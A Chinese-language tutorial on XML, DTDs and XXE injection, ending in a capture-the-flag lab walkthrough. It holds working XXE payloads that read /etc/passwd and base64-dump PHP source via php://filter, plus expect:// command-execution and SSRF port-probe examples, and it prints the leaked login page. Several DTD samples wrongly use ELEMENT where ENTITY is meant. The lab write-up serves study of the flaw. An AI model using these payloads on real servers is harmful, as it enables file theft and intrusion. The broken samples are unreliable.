什么是XML

XML全称“可扩展标记语言”(extensible markup language),XML是一种用于存储和传输数据的语言。与HTML一样,XML使用标签和数据的树状结构。但不同的是,XML不使用预定义标记,因此可以为标记指定描述数据的名称。由于json的出现,xml的受欢迎程度大大下降。

XML文档结构包括XML声明+DTD文档类型定义+文档元素,例如:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Myself</to>
<form>zishuQ</form>
<heading>Title</heading>
<body>This is a XML document.</body>
</note>

其中<note>是根元素,所有XML文档必须包含一个根元素,根元素是所有其他元素的父元素。

什么是DTD

DTD(document type definition)文档类型定义用于定义XML文档的结构,它作为xml文件的一部分位于XML声明和文档元素之间,比如下面DTD

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ELEMENT message (receiver, sender, header, msg)>
]>

它就定义了 XML 的根元素必须是message,根元素下面有一些子元素,所以 XML必须像下面这么写:

1
2
3
4
5
6
<message>
<receiver>Myself</receiver>
<sender>zishuQ</sender>
<header>Title</header>
<msg>This is a DTD document.</msg>
</message>

其中,DTD需要在!DOCTYPE注释中定义根元素,而后在中括号的[]内使用!ELEMENT注释定义各元素特征。

什么是实体

再看下面一个DTD:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ELEMENT xxe test>
]>

很容易理解,它规定了xml文件的根元素是foo,但ANY说明接受任何元素。重点是!ENTITY,这就是我们要提到的实体,实体本质是定义了一个变量,变量名xxe,值为“test”,后面在 XML 中通过 & 符号进行引用,所以根据DTD我们写出下面的xml文件:

1
2
3
4
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

因为ANY的属性,元素我们可以随意命令,但user值通过&xxe,实际值为test。

什么是外部实体

知道了什么是实体,再说说其实实体分为两种,内部实体和外部实体,上面的例子就是内部实体。XML外部实体是一种自定义实体,定义位于声明它们的DTD之外,声明使用SYSTEM关键字,比如加载实体值的URL:

1
2
3
<!DOCTYPE foo [
<!ELEMENT ext SYSTEM "http://normal-website.com">
]>

这里URL可以使用file://协议,因此可以从文件加载外部实体。例如:

1
2
3
<!DOCTYPE foo [
<!ELEMENT ext SYSTEM "file:///path/file">
]>

这也是产生XXE漏洞的原因。

什么是XXE注入

简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。

利用方式

通常攻击者会将payload注入XML文件中,一旦文件被执行,将会读取服务器上的本地文件,并对内网发起访问扫描内部网络端口。换而言之,XXE是一种从本地到达各种服务的方法。此外,在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。

漏洞危害

XXE漏洞根据有无回显可分为有回显XXE和Blind XXE,具体危害主要有:

  • 检索文件,其中定义了包含文件内容的外部实体,并在应用程序的响应中返回。

  • 执行SSRF攻击,其中外部实体是基于后端系统的URL定义的,如:

    <!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >探测端口;

<!ENTITY xxe SYSTEM "expect://id" >执行命令;

  • 无回显读取本地敏感文件(Blind OOB XXE),敏感数据从应用服务器传输到攻击者的服务器上。

  • 通过Blind XXE错误消息检索数据是否存在,攻击者可以触发包含敏感数据的解析错误消息。

具体的攻击手段和场景在案例中说明。

靶场测试

搭建靶场

导入靶机启动

端口扫描

1
2
3
4
ifconfig	# 确定网段
nmap target-net # 确认ip
nmap -sV -p- target-ip # 查看端口开放情况
dirb https://target-ip # robots.txt

XXE注入

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<root><name>&admin;</name><password>1</password></root>
1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&admin;</name><password>1</password></root>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
<?php
session_start();
?>


<html lang = "en">

<head>
<title>admin</title>
<link href = "css/bootstrap.min.css" rel = "stylesheet">

<style>
body {
padding-top: 40px;
padding-bottom: 40px;
background-color: #ADABAB;
}

.form-signin {
max-width: 330px;
padding: 15px;
margin: 0 auto;
color: #017572;
}

.form-signin .form-signin-heading,
.form-signin .checkbox {
margin-bottom: 10px;
}

.form-signin .checkbox {
font-weight: normal;
}

.form-signin .form-control {
position: relative;
height: auto;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
padding: 10px;
font-size: 16px;
}

.form-signin .form-control:focus {
z-index: 2;
}

.form-signin input[type="email"] {
margin-bottom: -1px;
border-bottom-right-radius: 0;
border-bottom-left-radius: 0;
border-color:#017572;
}

.form-signin input[type="password"] {
margin-bottom: 10px;
border-top-left-radius: 0;
border-top-right-radius: 0;
border-color:#017572;
}

h2{
text-align: center;
color: #017572;
}
</style>

</head>

<body>

<h2>Enter Username and Password</h2>
<div class = "container form-signin">

<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username'])
&& !empty($_POST['password'])) {

if ($_POST['username'] == 'administhebest' &&
md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
$_SESSION['valid'] = true;
$_SESSION['timeout'] = time();
$_SESSION['username'] = 'administhebest';

echo "You have entered valid use name and password <br />";
$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
echo $flag;
}else {
$msg = 'Maybe Later';
}
}
?>
</div> <!-- W00t/W00t -->

<div class = "container">

<form class = "form-signin" role = "form"
action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
?>" method = "post">
<h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
<input type = "text" class = "form-control"
name = "username"
required autofocus></br>
<input type = "password" class = "form-control"
name = "password" required>
<button class = "btn btn-lg btn-primary btn-block" type = "submit"
name = "login">Login</button>
</form>

Click here to clean <a href = "adminlog.php" tite = "Logout">Session.

</div>
</body>
</html>
1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>
<root><name>&admin;</name><password>1</password></root>